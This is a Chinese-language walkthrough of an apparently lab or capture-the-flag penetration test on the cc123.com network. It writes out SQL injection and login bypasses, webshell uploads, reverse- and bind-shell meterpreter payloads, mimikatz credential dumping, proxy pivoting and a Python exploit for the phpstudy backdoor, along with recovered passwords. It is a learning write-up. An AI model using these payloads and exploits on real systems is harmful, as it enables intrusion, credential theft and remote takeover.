一次完整的渗透测试
文章目录
环境
信息收集
主机发现(netdiscover或nmap)
sudo netdiscover -i eth0 -r 192.168.0.0/24 //netdiscover需要root运行
nmap -sn 192.168.0.0/24
发现目标主机192.168.0.134
端口扫描(masscan或nmap)
masscan -p 1-65535 192.168.0.134 --rate=1000
nmap -sC -A -p 49151,21,6588,135,80,3389,53,999,49122 192.168.0.134 -oA cc123-port
网站信息
本地设置
绑定网关
sudo vi /etc/resolv.conf
改为192.168.0.134
子域名收集
wfuzz -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt -u cc123.com -H "Host:FUZZ.cc123.com" --hw 53
wfuzz -w /usr/share/amass/wordlists/subdomains-top1mil-110000.txt -u cc123.com -H "Host:FUZZ.cc123.com" --hw 53
子域名信息
dedecms(20150618) | new.cc123.com |
---|---|
KesionEDU | www.cc123.com |
net | ww2.cc123.com |
漏洞测试
dedecms安全检测
dedecms判断版本
http://new.cc123.com/data/admin/ver.txt
版本为20150618
注册一个用户
http://new.cc123.com/member/
dedecms 的版本是 20150618 存在注入。
添加一个分类(SQL注入需要)
用网上找到的exp
得到密文 812df726be884ddcfc41 md5解密:admin7788
后台上传一句话木马,蚁剑连接
提权
权限太低,需要提权,上传aspx(大马)
然后网页访问路径 密码是admin
发现可以执行命令
msf提权
后台上传 http://new.cc123.com/dede/
文件管理器上传msf一句话
# 生成php马
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.128 LPORT=3333 -f raw -o 1.php
# 监听
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.128
set lport 3333
exploit
检测能提权的漏洞
msf5 > use post/multi/recon/local_exploit_suggester
msf5 post(multi/recon/local_exploit_suggester) > set session 1
ms16_075提权
msf5 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms16_075_reflection_juicy
msf5 exploit(windows/local/ms16_075_reflection_juicy) > set SESSION 1
msf5 exploit(windows/local/ms16_075_reflection_juicy) > exploit
此时已经是系统权限了。
得到flag
第一个flag
第二个flag
测试ww2.cc123.com安全
目录扫描(gobuster或dirsearch)
gobuster dir -u http://ww2.cc123.com -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "aspx,html" -o ww2dir
访问admin目录
尝试看验证码是否可以复用(bp)
更改密码后 放包发现 没有对验证码进行验证 存在复用 可以爆破
密码 cc123
尝试万能密码 admin‘–+ 直接登进后台
sqlmap测试注入
浏览后台 抓包观察到有id变量
一直返回不到shell 不停尝试其他页面
在这可以 getshell 点修改 抓包
sqlmap -r cc123 --dbms mssql -v 1 --batch //测试注入
sqlmap -r cc123 --dbms mssql -v 1 --dbs //列出库
sqlmap -r sql_test.txt --dbms mssql -v 1 --batch --current-db --current-user //爆当前用户及当前数据库
sqlmap -r sql_test.txt --dbms mssql -v 1 -D grcms_data --tables //爆表名
当前用户是sa 权限比较大 尝试getshell 数据库权限
sqlmap -r sql_test.txt --dbms mssql -v 1 --os-shell
发现数据库处于不同网段 为站库分离 当前getshell为系统权限
IP信息和用户权限
查看端口情况 netstat -ano
发现有另一个网段的ip 猜测还有多一层网络
第三个flag
.net代码审计
找到网站的路径
用dir
查看web服务器的文件
下载dll原文件
反编译dll(ILSpy)
移到Windows主机下,用工具反编译,进行.net代码审计
如果发现可疑的 找到url 丢sqlmap 跑 找到登录文件 查询相关dll文件
验证码可重用漏洞
直接爆破
后台sql注入漏洞
后台所有文件的值传递都是没有过滤,所以都存在注入
后台编译器上传漏洞
发现编译器
exp:(2条消息) kindeditor编辑器文件上传漏洞_kindeditor漏洞_shy014的博客-CSDN博客
将dir改成file 可上传 漏洞可以造成挂黑页,与存储型xss
访问即弹 cookie
前台XSS
发现 mystat.aspx 文件中出现strStyle参数 且可控没加过滤
后台用户密文解密
在前面的sqlmap测试注入
中,我们获得了用户的密文,无法解密
用户名 | 密文密码 |
---|---|
cc123 | B97C57DB005F954242450A255217DA9F |
admin | AE5F6187F32825CA |
查找解密文件
反编译登录处的文件一般都可以找到加密的函数
得到加解密函数Encrypt和Decrypt, key为yx139222
c#编写解密工具
打开 vs2012 新建项目选择.net4.5
将解密函数复制进来
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace WindowsFormsApplication2
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
public static string Decrypt(string pToDecrypt, string sKey)
{
DESCryptoServiceProvider dESCryptoServiceProvider = new DESCryptoServiceProvider();
byte[] array = new byte[pToDecrypt.Length / 2];
for (int i = 0; i < pToDecrypt.Length / 2; i++)
{
int num = Convert.ToInt32(pToDecrypt.Substring(i * 2, 2), 16);
array[i] = (byte)num;
}
dESCryptoServiceProvider.Key = Encoding.ASCII.GetBytes(sKey);
dESCryptoServiceProvider.IV = Encoding.ASCII.GetBytes(sKey);
MemoryStream memoryStream = new MemoryStream();
CryptoStream cryptoStream = new CryptoStream(memoryStream,dESCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write);
cryptoStream.Write(array, 0, array.Length);
cryptoStream.FlushFinalBlock();
new StringBuilder();
return Encoding.Default.GetString(memoryStream.ToArray());
}
private void button1_Click(object sender, EventArgs e)
{
string passwd = textBox1.Text.Trim();
string key = textBox2.Text.Trim();
textBox3.Text = Decrypt(passwd, key);
}
}
}
拖动几个控件 编译生成 运行
admin cc123
cc123 qweasd123
多重网段内网渗透
web服务器信息收集
网卡信息
存在两个 IP 192.168.0.134 10.10.10.135
路由信息
meterpreter > run get_local_subnets
两个网段 10.10.10.0 192.168.0.0
迁移进程(维持shell)
哈希获取
哈希值获取 hash值破译后是密码 获取到Hash后,我们可以用破解工具来破解得到明文密码,也可以进行哈希传递攻击来横向渗透
使用 mimikatz 获取明文
load mimikatz //导入mimikatz
mimikatz_command -f samdump::hashes //获取哈希
mimikatz_command -f sekurlsa::searchPasswords //获取密码
wdigest //查看密码列表
tspkg //和上面一样
添加路由进行内网渗透
meterpreter > run autoroute -s 10.10.10.0/24
启动 socks 代理
msf5 > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > set srvport 2222
msf5 auxiliary(server/socks4a) > options
msf5 auxiliary(server/socks4a) > run
使用 proxychains 配置文件
配置修改配置文件 sudo vim /etc/proxychains.conf
socks4 127.0.0.1 2222
使用 proxychains 调用 nmap 扫描
成功。之后就可以调用其他程序进行内网方面信息收集。
数据库服务器信息收集
网卡端口信息
os-shell 执行 netstat -ano
查看端口信息
生成正向连接载荷
msfvenom -p windows/meterpreter/bind_tcp LPORT=13777 -f exe > bind.exe
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set RHOST 10.10.10.134
set lport 13777
下面是两种上传bind.exe的方式
上传 bind.exe 到 WEB 服务器
mssql 上传文件(asp大马)
执行文件并且获取 session
使用正向连接监听
msf5 auxiliary(server/socks4a) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set RHOST 10.10.10.134
msf5 exploit(multi/handler) > set lport 13777 lport => 13777
msf5 exploit(multi/handler) > run
加载 mimikatz 获取明文
流程跟上面的一样
最后,获取数据库主机明文 Administrator !@#QWEasd123
渗透目标服务器
添加路由
目标机子 10.10.1.0
run autoroute -s 10.10.1.0/24
探测端口
结果
Host is up (1.1s latency).
Not shown: 989 closed ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3306/tcp open mysql
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknow
phpstudy 后门测试
访问 80端口发现是phpstudy探针
看到php版本是5.4.45 搜一波漏洞 php后门事件
检查是否引用了php_xmlrpc.dll 只要引用了该文件,恶意代码就会触发
python 编写phpstudy后门exp
#conding:utf-8
import requests
import re
import sys
import base64
shell = "system('"+(sys.argv[1])+"');"
shell1 = base64.b64encode(shell.encode('utf-8'))
#shell1 =
"ZmlsZV9wdXRfY29udGVudHMlMjglMjdtb29uJTI3JTJDJTI3JTNDJTNGcGhwJTIwZXZhbCUy
OCUyNF9QT1NUJTVCJTIybW9vbiUyMiU1RCUyOSUzQiUzRiUzRSUyNyUyOSUzQg=="
header={'accept-charset':shell1,'Accept-Encoding':'gzip,deflate'}
def exploit(url):
html=requests.get(url=url,headers=header).text
return html
print(exploit('http://10.10.1.129/'))
写入 shell
proxychains3 python3 phpstudy.py "echo ^<?php
@eval(\$_POST[\"shell\"])?^>>c:\phpstudy\WWW\shell.php"
访问后门
SocksCap64 设置本机代理
新增一个代理
代理软件添加蚁剑
连接shell
获取目标机子的 session
将上次meterpreter 生成的正向连接的执行文件上传到服务器上,并更改meterpreter的rhost为目标主机的ip 运行执行文件 完成代理连接。
迁移进程
收集网卡信息
进入shell 用arp-a 看下还有没有其他主机
最后一个 flag
总结
这个一个完整的渗透测试实例,我通过这个项目学到了很多知识,也了解到了自己的不足,比如对编辑器不熟悉,往往忽视了他的漏洞;在内网渗透中可以说是几乎没啥思路,现在对什么隧道代理,路由转发啥的也不了解,需要在这里下功夫;在.net代码审计更是摸不到头脑,只能百度,这样浪费了很多的时间。